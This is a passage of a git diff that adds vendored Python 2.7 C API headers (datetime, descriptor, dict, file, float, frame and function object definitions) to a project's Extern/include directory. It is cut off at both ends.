PyTypeObject *DateTimeType; + PyTypeObject *TimeType; + PyTypeObject *DeltaType; + PyTypeObject *TZInfoType; + + /* constructors */ + PyObject *(*Date_FromDate)(int, int, int, PyTypeObject*); + PyObject *(*DateTime_FromDateAndTime)(int, int, int, int, int, int, int, + PyObject*, PyTypeObject*); + PyObject *(*Time_FromTime)(int, int, int, int, PyObject*, PyTypeObject*); + PyObject *(*Delta_FromDelta)(int, int, int, int, PyTypeObject*); + + /* constructors for the DB API */ + PyObject *(*DateTime_FromTimestamp)(PyObject*, PyObject*, PyObject*); + PyObject *(*Date_FromTimestamp)(PyObject*, PyObject*); + +} PyDateTime_CAPI; + +#define PyDateTime_CAPSULE_NAME "datetime.datetime_CAPI" + + +/* "magic" constant used to partially protect against developer mistakes. */ +#define DATETIME_API_MAGIC 0x414548d5 + +#ifdef Py_BUILD_CORE + +/* Macros for type checking when building the Python core. */ +#define PyDate_Check(op) PyObject_TypeCheck(op, &PyDateTime_DateType) +#define PyDate_CheckExact(op) (Py_TYPE(op) == &PyDateTime_DateType) + +#define PyDateTime_Check(op) PyObject_TypeCheck(op, &PyDateTime_DateTimeType) +#define PyDateTime_CheckExact(op) (Py_TYPE(op) == &PyDateTime_DateTimeType) + +#define PyTime_Check(op) PyObject_TypeCheck(op, &PyDateTime_TimeType) +#define PyTime_CheckExact(op) (Py_TYPE(op) == &PyDateTime_TimeType) + +#define PyDelta_Check(op) PyObject_TypeCheck(op, &PyDateTime_DeltaType) +#define PyDelta_CheckExact(op) (Py_TYPE(op) == &PyDateTime_DeltaType) + +#define PyTZInfo_Check(op) PyObject_TypeCheck(op, &PyDateTime_TZInfoType) +#define PyTZInfo_CheckExact(op) (Py_TYPE(op) == &PyDateTime_TZInfoType) + +#else + +/* Define global variable for the C API and a macro for setting it. */ +static PyDateTime_CAPI *PyDateTimeAPI = NULL; + +#define PyDateTime_IMPORT \ + PyDateTimeAPI = (PyDateTime_CAPI *)PyCapsule_Import(PyDateTime_CAPSULE_NAME, 0) + +/* Macros for type checking when not building the Python core. */ +#define PyDate_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->DateType) +#define PyDate_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->DateType) + +#define PyDateTime_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->DateTimeType) +#define PyDateTime_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->DateTimeType) + +#define PyTime_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->TimeType) +#define PyTime_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->TimeType) + +#define PyDelta_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->DeltaType) +#define PyDelta_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->DeltaType) + +#define PyTZInfo_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->TZInfoType) +#define PyTZInfo_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->TZInfoType) + +/* Macros for accessing constructors in a simplified fashion. */ +#define PyDate_FromDate(year, month, day) \ + PyDateTimeAPI->Date_FromDate(year, month, day, PyDateTimeAPI->DateType) + +#define PyDateTime_FromDateAndTime(year, month, day, hour, min, sec, usec) \ + PyDateTimeAPI->DateTime_FromDateAndTime(year, month, day, hour, \ + min, sec, usec, Py_None, PyDateTimeAPI->DateTimeType) + +#define PyTime_FromTime(hour, minute, second, usecond) \ + PyDateTimeAPI->Time_FromTime(hour, minute, second, usecond, \ + Py_None, PyDateTimeAPI->TimeType) + +#define PyDelta_FromDSU(days, seconds, useconds) \ + PyDateTimeAPI->Delta_FromDelta(days, seconds, useconds, 1, \ + PyDateTimeAPI->DeltaType) + +/* Macros supporting the DB API. */ +#define PyDateTime_FromTimestamp(args) \ + PyDateTimeAPI->DateTime_FromTimestamp( \ + (PyObject*) (PyDateTimeAPI->DateTimeType), args, NULL) + +#define PyDate_FromTimestamp(args) \ + PyDateTimeAPI->Date_FromTimestamp( \ + (PyObject*) (PyDateTimeAPI->DateType), args) + +#endif /* Py_BUILD_CORE */ + +#ifdef __cplusplus +} +#endif +#endif diff --git a/Extern/include/Python27/descrobject.h b/Extern/include/Python27/descrobject.h new file mode 100644 index 0000000..b542732 --- /dev/null +++ b/Extern/include/Python27/descrobject.h @@ -0,0 +1,94 @@ +/* Descriptors */ +#ifndef Py_DESCROBJECT_H +#define Py_DESCROBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef PyObject *(*getter)(PyObject *, void *); +typedef int (*setter)(PyObject *, PyObject *, void *); + +typedef struct PyGetSetDef { + char *name; + getter get; + setter set; + char *doc; + void *closure; +} PyGetSetDef; + +typedef PyObject *(*wrapperfunc)(PyObject *self, PyObject *args, + void *wrapped); + +typedef PyObject *(*wrapperfunc_kwds)(PyObject *self, PyObject *args, + void *wrapped, PyObject *kwds); + +struct wrapperbase { + char *name; + int offset; + void *function; + wrapperfunc wrapper; + char *doc; + int flags; + PyObject *name_strobj; +}; + +/* Flags for above struct */ +#define PyWrapperFlag_KEYWORDS 1 /* wrapper function takes keyword args */ + +/* Various kinds of descriptor objects */ + +#define PyDescr_COMMON \ + PyObject_HEAD \ + PyTypeObject *d_type; \ + PyObject *d_name + +typedef struct { + PyDescr_COMMON; +} PyDescrObject; + +typedef struct { + PyDescr_COMMON; + PyMethodDef *d_method; +} PyMethodDescrObject; + +typedef struct { + PyDescr_COMMON; + struct PyMemberDef *d_member; +} PyMemberDescrObject; + +typedef struct { + PyDescr_COMMON; + PyGetSetDef *d_getset; +} PyGetSetDescrObject; + +typedef struct { + PyDescr_COMMON; + struct wrapperbase *d_base; + void *d_wrapped; /* This can be any function pointer */ +} PyWrapperDescrObject; + +PyAPI_DATA(PyTypeObject) PyWrapperDescr_Type; +PyAPI_DATA(PyTypeObject) PyDictProxy_Type; +PyAPI_DATA(PyTypeObject) PyGetSetDescr_Type; +PyAPI_DATA(PyTypeObject) PyMemberDescr_Type; + +PyAPI_FUNC(PyObject *) PyDescr_NewMethod(PyTypeObject *, PyMethodDef *); +PyAPI_FUNC(PyObject *) PyDescr_NewClassMethod(PyTypeObject *, PyMethodDef *); +PyAPI_FUNC(PyObject *) PyDescr_NewMember(PyTypeObject *, + struct PyMemberDef *); +PyAPI_FUNC(PyObject *) PyDescr_NewGetSet(PyTypeObject *, + struct PyGetSetDef *); +PyAPI_FUNC(PyObject *) PyDescr_NewWrapper(PyTypeObject *, + struct wrapperbase *, void *); +#define PyDescr_IsData(d) (Py_TYPE(d)->tp_descr_set != NULL) + +PyAPI_FUNC(PyObject *) PyDictProxy_New(PyObject *); +PyAPI_FUNC(PyObject *) PyWrapper_New(PyObject *, PyObject *); + + +PyAPI_DATA(PyTypeObject) PyProperty_Type; +#ifdef __cplusplus +} +#endif +#endif /* !Py_DESCROBJECT_H */ + diff --git a/Extern/include/Python27/dictobject.h b/Extern/include/Python27/dictobject.h new file mode 100644 index 0000000..ece01c6 --- /dev/null +++ b/Extern/include/Python27/dictobject.h @@ -0,0 +1,156 @@ +#ifndef Py_DICTOBJECT_H +#define Py_DICTOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Dictionary object type -- mapping from hashable object to object */ + +/* The distribution includes a separate file, Objects/dictnotes.txt, + describing explorations into dictionary design and optimization. + It covers typical dictionary use patterns, the parameters for + tuning dictionaries, and several ideas for possible optimizations. +*/ + +/* +There are three kinds of slots in the table: + +1. Unused. me_key == me_value == NULL + Does not hold an active (key, value) pair now and never did. Unused can + transition to Active upon key insertion. This is the only case in which + me_key is NULL, and is each slot's initial state. + +2. Active. me_key != NULL and me_key != dummy and me_value != NULL + Holds an active (key, value) pair. Active can transition to Dummy upon + key deletion. This is the only case in which me_value != NULL. + +3. Dummy. me_key == dummy and me_value == NULL + Previously held an active (key, value) pair, but that was deleted and an + active pair has not yet overwritten the slot. Dummy can transition to + Active upon key insertion. Dummy slots cannot be made Unused again + (cannot have me_key set to NULL), else the probe sequence in case of + collision would have no way to know they were once active. + +Note: .popitem() abuses the me_hash field of an Unused or Dummy slot to +hold a search finger. The me_hash field of Unused or Dummy slots has no +meaning otherwise. +*/ + +/* PyDict_MINSIZE is the minimum size of a dictionary. This many slots are + * allocated directly in the dict object (in the ma_smalltable member). + * It must be a power of 2, and at least 4. 8 allows dicts with no more + * than 5 active entries to live in ma_smalltable (and so avoid an + * additional malloc); instrumentation suggested this suffices for the + * majority of dicts (consisting mostly of usually-small instance dicts and + * usually-small dicts created to pass keyword arguments). + */ +#define PyDict_MINSIZE 8 + +typedef struct { + /* Cached hash code of me_key. Note that hash codes are C longs. + * We have to use Py_ssize_t instead because dict_popitem() abuses + * me_hash to hold a search finger. + */ + Py_ssize_t me_hash; + PyObject *me_key; + PyObject *me_value; +} PyDictEntry; + +/* +To ensure the lookup algorithm terminates, there must be at least one Unused +slot (NULL key) in the table. +The value ma_fill is the number of non-NULL keys (sum of Active and Dummy); +ma_used is the number of non-NULL, non-dummy keys (== the number of non-NULL +values == the number of Active items). +To avoid slowing down lookups on a near-full table, we resize the table when +it's two-thirds full. +*/ +typedef struct _dictobject PyDictObject; +struct _dictobject { + PyObject_HEAD + Py_ssize_t ma_fill; /* # Active + # Dummy */ + Py_ssize_t ma_used; /* # Active */ + + /* The table contains ma_mask + 1 slots, and that's a power of 2. + * We store the mask instead of the size because the mask is more + * frequently needed. + */ + Py_ssize_t ma_mask; + + /* ma_table points to ma_smalltable for small tables, else to + * additional malloc'ed memory. ma_table is never NULL! This rule + * saves repeated runtime null-tests in the workhorse getitem and + * setitem calls. + */ + PyDictEntry *ma_table; + PyDictEntry *(*ma_lookup)(PyDictObject *mp, PyObject *key, long hash); + PyDictEntry ma_smalltable[PyDict_MINSIZE]; +}; + +PyAPI_DATA(PyTypeObject) PyDict_Type; +PyAPI_DATA(PyTypeObject) PyDictIterKey_Type; +PyAPI_DATA(PyTypeObject) PyDictIterValue_Type; +PyAPI_DATA(PyTypeObject) PyDictIterItem_Type; +PyAPI_DATA(PyTypeObject) PyDictKeys_Type; +PyAPI_DATA(PyTypeObject) PyDictItems_Type; +PyAPI_DATA(PyTypeObject) PyDictValues_Type; + +#define PyDict_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_DICT_SUBCLASS) +#define PyDict_CheckExact(op) (Py_TYPE(op) == &PyDict_Type) +#define PyDictKeys_Check(op) (Py_TYPE(op) == &PyDictKeys_Type) +#define PyDictItems_Check(op) (Py_TYPE(op) == &PyDictItems_Type) +#define PyDictValues_Check(op) (Py_TYPE(op) == &PyDictValues_Type) +/* This excludes Values, since they are not sets. */ +# define PyDictViewSet_Check(op) \ + (PyDictKeys_Check(op) || PyDictItems_Check(op)) + +PyAPI_FUNC(PyObject *) PyDict_New(void); +PyAPI_FUNC(PyObject *) PyDict_GetItem(PyObject *mp, PyObject *key); +PyAPI_FUNC(int) PyDict_SetItem(PyObject *mp, PyObject *key, PyObject *item); +PyAPI_FUNC(int) PyDict_DelItem(PyObject *mp, PyObject *key); +PyAPI_FUNC(void) PyDict_Clear(PyObject *mp); +PyAPI_FUNC(int) PyDict_Next( + PyObject *mp, Py_ssize_t *pos, PyObject **key, PyObject **value); +PyAPI_FUNC(int) _PyDict_Next( + PyObject *mp, Py_ssize_t *pos, PyObject **key, PyObject **value, long *hash); +PyAPI_FUNC(PyObject *) PyDict_Keys(PyObject *mp); +PyAPI_FUNC(PyObject *) PyDict_Values(PyObject *mp); +PyAPI_FUNC(PyObject *) PyDict_Items(PyObject *mp); +PyAPI_FUNC(Py_ssize_t) PyDict_Size(PyObject *mp); +PyAPI_FUNC(PyObject *) PyDict_Copy(PyObject *mp); +PyAPI_FUNC(int) PyDict_Contains(PyObject *mp, PyObject *key); +PyAPI_FUNC(int) _PyDict_Contains(PyObject *mp, PyObject *key, long hash); +PyAPI_FUNC(PyObject *) _PyDict_NewPresized(Py_ssize_t minused); +PyAPI_FUNC(void) _PyDict_MaybeUntrack(PyObject *mp); + +/* PyDict_Update(mp, other) is equivalent to PyDict_Merge(mp, other, 1). */ +PyAPI_FUNC(int) PyDict_Update(PyObject *mp, PyObject *other); + +/* PyDict_Merge updates/merges from a mapping object (an object that + supports PyMapping_Keys() and PyObject_GetItem()). If override is true, + the last occurrence of a key wins, else the first. The Python + dict.update(other) is equivalent to PyDict_Merge(dict, other, 1). +*/ +PyAPI_FUNC(int) PyDict_Merge(PyObject *mp, + PyObject *other, + int override); + +/* PyDict_MergeFromSeq2 updates/merges from an iterable object producing + iterable objects of length 2. If override is true, the last occurrence + of a key wins, else the first. The Python dict constructor dict(seq2) + is equivalent to dict={}; PyDict_MergeFromSeq(dict, seq2, 1). +*/ +PyAPI_FUNC(int) PyDict_MergeFromSeq2(PyObject *d, + PyObject *seq2, + int override); + +PyAPI_FUNC(PyObject *) PyDict_GetItemString(PyObject *dp, const char *key); +PyAPI_FUNC(int) PyDict_SetItemString(PyObject *dp, const char *key, PyObject *item); +PyAPI_FUNC(int) PyDict_DelItemString(PyObject *dp, const char *key); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_DICTOBJECT_H */ diff --git a/Extern/include/Python27/dtoa.h b/Extern/include/Python27/dtoa.h new file mode 100644 index 0000000..9b434b7 --- /dev/null +++ b/Extern/include/Python27/dtoa.h @@ -0,0 +1,15 @@ +#ifndef PY_NO_SHORT_FLOAT_REPR +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(double) _Py_dg_strtod(const char *str, char **ptr); +PyAPI_FUNC(char *) _Py_dg_dtoa(double d, int mode, int ndigits, + int *decpt, int *sign, char **rve); +PyAPI_FUNC(void) _Py_dg_freedtoa(char *s); + + +#ifdef __cplusplus +} +#endif +#endif diff --git a/Extern/include/Python27/enumobject.h b/Extern/include/Python27/enumobject.h new file mode 100644 index 0000000..c14dbfc --- /dev/null +++ b/Extern/include/Python27/enumobject.h @@ -0,0 +1,17 @@ +#ifndef Py_ENUMOBJECT_H +#define Py_ENUMOBJECT_H + +/* Enumerate Object */ + +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(PyTypeObject) PyEnum_Type; +PyAPI_DATA(PyTypeObject) PyReversed_Type; + +#ifdef __cplusplus +} +#endif + +#endif /* !Py_ENUMOBJECT_H */ diff --git a/Extern/include/Python27/errcode.h b/Extern/include/Python27/errcode.h new file mode 100644 index 0000000..becec80 --- /dev/null +++ b/Extern/include/Python27/errcode.h @@ -0,0 +1,36 @@ +#ifndef Py_ERRCODE_H +#define Py_ERRCODE_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Error codes passed around between file input, tokenizer, parser and + interpreter. This is necessary so we can turn them into Python + exceptions at a higher level. Note that some errors have a + slightly different meaning when passed from the tokenizer to the + parser than when passed from the parser to the interpreter; e.g. + the parser only returns E_EOF when it hits EOF immediately, and it + never returns E_OK. */ + +#define E_OK 10 /* No error */ +#define E_EOF 11 /* End Of File */ +#define E_INTR 12 /* Interrupted */ +#define E_TOKEN 13 /* Bad token */ +#define E_SYNTAX 14 /* Syntax error */ +#define E_NOMEM 15 /* Ran out of memory */ +#define E_DONE 16 /* Parsing complete */ +#define E_ERROR 17 /* Execution error */ +#define E_TABSPACE 18 /* Inconsistent mixing of tabs and spaces */ +#define E_OVERFLOW 19 /* Node had too many children */ +#define E_TOODEEP 20 /* Too many indentation levels */ +#define E_DEDENT 21 /* No matching outer block for dedent */ +#define E_DECODE 22 /* Error in decoding into Unicode */ +#define E_EOFS 23 /* EOF in triple-quoted string */ +#define E_EOLS 24 /* EOL in single-quoted string */ +#define E_LINECONT 25 /* Unexpected characters after a line continuation */ + +#ifdef __cplusplus +} +#endif +#endif /* !Py_ERRCODE_H */ diff --git a/Extern/include/Python27/eval.h b/Extern/include/Python27/eval.h new file mode 100644 index 0000000..b78dfe0 --- /dev/null +++ b/Extern/include/Python27/eval.h @@ -0,0 +1,25 @@ + +/* Interface to execute compiled code */ + +#ifndef Py_EVAL_H +#define Py_EVAL_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(PyObject *) PyEval_EvalCode(PyCodeObject *, PyObject *, PyObject *); + +PyAPI_FUNC(PyObject *) PyEval_EvalCodeEx(PyCodeObject *co, + PyObject *globals, + PyObject *locals, + PyObject **args, int argc, + PyObject **kwds, int kwdc, + PyObject **defs, int defc, + PyObject *closure); + +PyAPI_FUNC(PyObject *) _PyEval_CallTracing(PyObject *func, PyObject *args); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_EVAL_H */ diff --git a/Extern/include/Python27/fileobject.h b/Extern/include/Python27/fileobject.h new file mode 100644 index 0000000..ba506ec --- /dev/null +++ b/Extern/include/Python27/fileobject.h @@ -0,0 +1,90 @@ + +/* File object interface */ + +#ifndef Py_FILEOBJECT_H +#define Py_FILEOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + PyObject_HEAD + FILE *f_fp; + PyObject *f_name; + PyObject *f_mode; + int (*f_close)(FILE *); + int f_softspace; /* Flag used by 'print' command */ + int f_binary; /* Flag which indicates whether the file is + open in binary (1) or text (0) mode */ + char* f_buf; /* Allocated readahead buffer */ + char* f_bufend; /* Points after last occupied position */ + char* f_bufptr; /* Current buffer position */ + char *f_setbuf; /* Buffer for setbuf(3) and setvbuf(3) */ + int f_univ_newline; /* Handle any newline convention */ + int f_newlinetypes; /* Types of newlines seen */ + int f_skipnextlf; /* Skip next \n */ + PyObject *f_encoding; + PyObject *f_errors; + PyObject *weakreflist; /* List of weak references */ + int unlocked_count; /* Num. currently running sections of code + using f_fp with the GIL released. */ + int readable; + int writable; +} PyFileObject; + +PyAPI_DATA(PyTypeObject) PyFile_Type; + +#define PyFile_Check(op) PyObject_TypeCheck(op, &PyFile_Type) +#define PyFile_CheckExact(op) (Py_TYPE(op) == &PyFile_Type) + +PyAPI_FUNC(PyObject *) PyFile_FromString(char *, char *); +PyAPI_FUNC(void) PyFile_SetBufSize(PyObject *, int); +PyAPI_FUNC(int) PyFile_SetEncoding(PyObject *, const char *); +PyAPI_FUNC(int) PyFile_SetEncodingAndErrors(PyObject *, const char *, char *errors); +PyAPI_FUNC(PyObject *) PyFile_FromFile(FILE *, char *, char *, + int (*)(FILE *)); +PyAPI_FUNC(FILE *) PyFile_AsFile(PyObject *); +PyAPI_FUNC(void) PyFile_IncUseCount(PyFileObject *); +PyAPI_FUNC(void) PyFile_DecUseCount(PyFileObject *); +PyAPI_FUNC(PyObject *) PyFile_Name(PyObject *); +PyAPI_FUNC(PyObject *) PyFile_GetLine(PyObject *, int); +PyAPI_FUNC(int) PyFile_WriteObject(PyObject *, PyObject *, int); +PyAPI_FUNC(int) PyFile_SoftSpace(PyObject *, int); +PyAPI_FUNC(int) PyFile_WriteString(const char *, PyObject *); +PyAPI_FUNC(int) PyObject_AsFileDescriptor(PyObject *); + +/* The default encoding used by the platform file system APIs + If non-NULL, this is different than the default encoding for strings +*/ +PyAPI_DATA(const char *) Py_FileSystemDefaultEncoding; + +/* Routines to replace fread() and fgets() which accept any of \r, \n + or \r\n as line terminators. +*/ +#define PY_STDIOTEXTMODE "b" +char *Py_UniversalNewlineFgets(char *, int, FILE*, PyObject *); +size_t Py_UniversalNewlineFread(char *, size_t, FILE *, PyObject *); + +/* A routine to do sanity checking on the file mode string. returns + non-zero on if an exception occurred +*/ +int _PyFile_SanitizeMode(char *mode); + +#if defined _MSC_VER && _MSC_VER >= 1400 +/* A routine to check if a file descriptor is valid on Windows. Returns 0 + * and sets errno to EBADF if it isn't. This is to avoid Assertions + * from various functions in the Windows CRT beginning with + * Visual Studio 2005 + */ +int _PyVerify_fd(int fd); +#elif defined _MSC_VER && _MSC_VER >= 1200 +/* fdopen doesn't set errno EBADF and crashes for large fd on debug build */ +#define _PyVerify_fd(fd) (_get_osfhandle(fd) >= 0) +#else +#define _PyVerify_fd(A) (1) /* dummy */ +#endif + +#ifdef __cplusplus +} +#endif +#endif /* !Py_FILEOBJECT_H */ diff --git a/Extern/include/Python27/floatobject.h b/Extern/include/Python27/floatobject.h new file mode 100644 index 0000000..54e8825 --- /dev/null +++ b/Extern/include/Python27/floatobject.h @@ -0,0 +1,140 @@ + +/* Float object interface */ + +/* +PyFloatObject represents a (double precision) floating point number. +*/ + +#ifndef Py_FLOATOBJECT_H +#define Py_FLOATOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + PyObject_HEAD + double ob_fval; +} PyFloatObject; + +PyAPI_DATA(PyTypeObject) PyFloat_Type; + +#define PyFloat_Check(op) PyObject_TypeCheck(op, &PyFloat_Type) +#define PyFloat_CheckExact(op) (Py_TYPE(op) == &PyFloat_Type) + +/* The str() precision PyFloat_STR_PRECISION is chosen so that in most cases, + the rounding noise created by various operations is suppressed, while + giving plenty of precision for practical use. */ + +#define PyFloat_STR_PRECISION 12 + +#ifdef Py_NAN +#define Py_RETURN_NAN return PyFloat_FromDouble(Py_NAN) +#endif + +#define Py_RETURN_INF(sign) do \ + if (copysign(1., sign) == 1.) { \ + return PyFloat_FromDouble(Py_HUGE_VAL); \ + } else { \ + return PyFloat_FromDouble(-Py_HUGE_VAL); \ + } while(0) + +PyAPI_FUNC(double) PyFloat_GetMax(void); +PyAPI_FUNC(double) PyFloat_GetMin(void); +PyAPI_FUNC(PyObject *) PyFloat_GetInfo(void); + +/* Return Python float from string PyObject. Second argument ignored on + input, and, if non-NULL, NULL is stored into *junk (this tried to serve a + purpose once but can't be made to work as intended). */ +PyAPI_FUNC(PyObject *) PyFloat_FromString(PyObject*, char** junk); + +/* Return Python float from C double. */ +PyAPI_FUNC(PyObject *) PyFloat_FromDouble(double); + +/* Extract C double from Python float. The macro version trades safety for + speed. */ +PyAPI_FUNC(double) PyFloat_AsDouble(PyObject *); +#define PyFloat_AS_DOUBLE(op) (((PyFloatObject *)(op))->ob_fval) + +/* Write repr(v) into the char buffer argument, followed by null byte. The + buffer must be "big enough"; >= 100 is very safe. + PyFloat_AsReprString(buf, x) strives to print enough digits so that + PyFloat_FromString(buf) then reproduces x exactly. */ +PyAPI_FUNC(void) PyFloat_AsReprString(char*, PyFloatObject *v); + +/* Write str(v) into the char buffer argument, followed by null byte. The + buffer must be "big enough"; >= 100 is very safe. Note that it's + unusual to be able to get back the float you started with from + PyFloat_AsString's result -- use PyFloat_AsReprString() if you want to + preserve precision across conversions. */ +PyAPI_FUNC(void) PyFloat_AsString(char*, PyFloatObject *v); + +/* _PyFloat_{Pack,Unpack}{4,8} + * + * The struct and pickle (at least) modules need an efficient platform- + * independent way to store floating-point values as byte strings. + * The Pack routines produce a string from a C double, and the Unpack + * routines produce a C double from such a string. The suffix (4 or 8) + * specifies the number of bytes in the string. + * + * On platforms that appear to use (see _PyFloat_Init()) IEEE-754 formats + * these functions work by copying bits. On other platforms, the formats the + * 4- byte format is identical to the IEEE-754 single precision format, and + * the 8-byte format to the IEEE-754 double precision format, although the + * packing of INFs and NaNs (if such things exist on the platform) isn't + * handled correctly, and attempting to unpack a string containing an IEEE + * INF or NaN will raise an exception. + * + * On non-IEEE platforms with more precision, or larger dynamic range, than + * 754 supports, not all values can be packed; on non-IEEE platforms with less + * precision, or smaller dynamic range, not all values can be unpacked. What + * happens in such cases is partly accidental (alas). + */ + +/* The pack routines write 4 or 8 bytes, starting at p. le is a bool + * argument, true if you want the string in little-endian format (exponent + * last, at p+3 or p+7), false if you want big-endian format (exponent + * first, at p). + * Return value: 0 if all is OK, -1 if error (and an exception is + * set, most likely OverflowError). + * There are two problems on non-IEEE platforms: + * 1): What this does is undefined if x is a NaN or infinity. + * 2): -0.0 and +0.0 produce the same string. + */ +PyAPI_FUNC(int) _PyFloat_Pack4(double x, unsigned char *p, int le); +PyAPI_FUNC(int) _PyFloat_Pack8(double x, unsigned char *p, int le); + +/* Used to get the important decimal digits of a double */ +PyAPI_FUNC(int) _PyFloat_Digits(char *buf, double v, int *signum); +PyAPI_FUNC(void) _PyFloat_DigitsInit(void); + +/* The unpack routines read 4 or 8 bytes, starting at p. le is a bool + * argument, true if the string is in little-endian format (exponent + * last, at p+3 or p+7), false if big-endian (exponent first, at p). + * Return value: The unpacked double. On error, this is -1.0 and + * PyErr_Occurred() is true (and an exception is set, most likely + * OverflowError). Note that on a non-IEEE platform this will refuse + * to unpack a string that represents a NaN or infinity. + */ +PyAPI_FUNC(double) _PyFloat_Unpack4(const unsigned char *p, int le); +PyAPI_FUNC(double) _PyFloat_Unpack8(const unsigned char *p, int le); + +/* free list api */ +PyAPI_FUNC(int) PyFloat_ClearFreeList(void); + +/* Format the object based on the format_spec, as defined in PEP 3101 + (Advanced String Formatting). */ +PyAPI_FUNC(PyObject *) _PyFloat_FormatAdvanced(PyObject *obj, + char *format_spec, + Py_ssize_t format_spec_len); + +/* Round a C double x to the closest multiple of 10**-ndigits. Returns a + Python float on success, or NULL (with an appropriate exception set) on + failure. Used in builtin_round in bltinmodule.c. */ +PyAPI_FUNC(PyObject *) _Py_double_round(double x, int ndigits); + + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_FLOATOBJECT_H */ diff --git a/Extern/include/Python27/frameobject.h b/Extern/include/Python27/frameobject.h new file mode 100644 index 0000000..17e7679 --- /dev/null +++ b/Extern/include/Python27/frameobject.h @@ -0,0 +1,89 @@ + +/* Frame object interface */ + +#ifndef Py_FRAMEOBJECT_H +#define Py_FRAMEOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + int b_type; /* what kind of block this is */ + int b_handler; /* where to jump to find handler */ + int b_level; /* value stack level to pop to */ +} PyTryBlock; + +typedef struct _frame { + PyObject_VAR_HEAD + struct _frame *f_back; /* previous frame, or NULL */ + PyCodeObject *f_code; /* code segment */ + PyObject *f_builtins; /* builtin symbol table (PyDictObject) */ + PyObject *f_globals; /* global symbol table (PyDictObject) */ + PyObject *f_locals; /* local symbol table (any mapping) */ + PyObject **f_valuestack; /* points after the last local */ + /* Next free slot in f_valuestack. Frame creation sets to f_valuestack. + Frame evaluation usually NULLs it, but a frame that yields sets it + to the current stack top. */ + PyObject **f_stacktop; + PyObject *f_trace; /* Trace function */ + + /* If an exception is raised in this frame, the next three are used to + * record the exception info (if any) originally in the thread state. See + * comments before set_exc_info() -- it's not obvious. + * Invariant: if _type is NULL, then so are _value and _traceback. + * Desired invariant: all three are NULL, or all three are non-NULL. That + * one isn't currently true, but "should be". + */ + PyObject *f_exc_type, *f_exc_value, *f_exc_traceback; + + PyThreadState *f_tstate; + int f_lasti; /* Last instruction if called */ + /* Call PyFrame_GetLineNumber() instead of reading this field + directly. As of 2.3 f_lineno is only valid when tracing is + active (i.e. when f_trace is set). At other times we use + PyCode_Addr2Line to calculate the line from the current + bytecode index. */ + int f_lineno; /* Current line number */ + int f_iblock; /* index in f_blockstack */ + PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */ + PyObject *f_localsplus[1]; /* locals+stack, dynamically sized */ +} PyFrameObject; + + +/* Standard object interface */ + +PyAPI_DATA(PyTypeObject) PyFrame_Type; + +#define PyFrame_Check(op) ((op)->ob_type == &PyFrame_Type) +#define PyFrame_IsRestricted(f) \ + ((f)->f_builtins != (f)->f_tstate->interp->builtins) + +PyAPI_FUNC(PyFrameObject *) PyFrame_New(PyThreadState *, PyCodeObject *, + PyObject *, PyObject *); + + +/* The rest of the interface is specific for frame objects */ + +/* Block management functions */ + +PyAPI_FUNC(void) PyFrame_BlockSetup(PyFrameObject *, int, int, int); +PyAPI_FUNC(PyTryBlock *) PyFrame_BlockPop(PyFrameObject *); + +/* Extend the value stack */ + +PyAPI_FUNC(PyObject **) PyFrame_ExtendStack(PyFrameObject *, int, int); + +/* Conversions between "fast locals" and locals in dictionary */ + +PyAPI_FUNC(void) PyFrame_LocalsToFast(PyFrameObject *, int); +PyAPI_FUNC(void) PyFrame_FastToLocals(PyFrameObject *); + +PyAPI_FUNC(int) PyFrame_ClearFreeList(void); + +/* Return the line of code the frame is currently executing. */ +PyAPI_FUNC(int) PyFrame_GetLineNumber(PyFrameObject *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_FRAMEOBJECT_H */ diff --git a/Extern/include/Python27/funcobject.h b/Extern/include/Python27/funcobject.h new file mode 100644 index 0000000..eb19f4c --- /dev/null +++ b/Extern/include/Python27/funcobject.h @@ -0,0 +1,76 @@ + +/* Function object interface */ + +#ifndef Py_FUNCOBJECT_H +#define Py_FUNCOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +/* Function objects and code objects should not be confused with each other: + * + * Function objects are created by the execution of the 'def' statement. + * They reference a code object in their func_code attribute, which is a + * purely syntactic object, i.e. nothing more than a compiled version of some + * source code lines. There is one code object per source code "fragment", + * but each code object can be referenced by zero or many function objects + * depending only on how many times the 'def' statement in the source was + * executed so far. + */ + +typedef struct { + PyObject_HEAD + PyObject *func_code; /* A code object */ + PyObject *func_globals; /* A dictionary (other mappings won't do) */ + PyObject *func_defaults; /* NULL or a tuple */ + PyObject *func_closure; /* NULL or a tuple of cell objects */ + PyObject *func_doc; /* The __doc__ attribute, can be anything */ + PyObject *func_name; /* The __name__ attribute, a string object */ + PyObject *func_dict; /* The __dict__ attribute, a dict or NULL */ + PyObject *func_weakreflist; /* List of weak references */ + PyObject *func_module; /* The __module__ attribute, can be anything */ + + /* Invariant: + * func_closure contains the bindings for func_code->co_freevars, so + * PyTuple_Size(func_closure) == PyCode_GetNumFree(func_code) + * (func_closure may be NULL if PyCode_GetNumFree(func_code) == 0). + */ +} PyFunctionObject; + +PyAPI_DATA(PyTypeObject) PyFunction_Type; + +#define PyFunction_Check(op) (Py_TYPE(op) == &PyFunction_Type) + +PyAPI_FUNC(PyObject *) PyFunction_New(PyObject *, PyObject *); +PyAPI_FUNC(PyObject 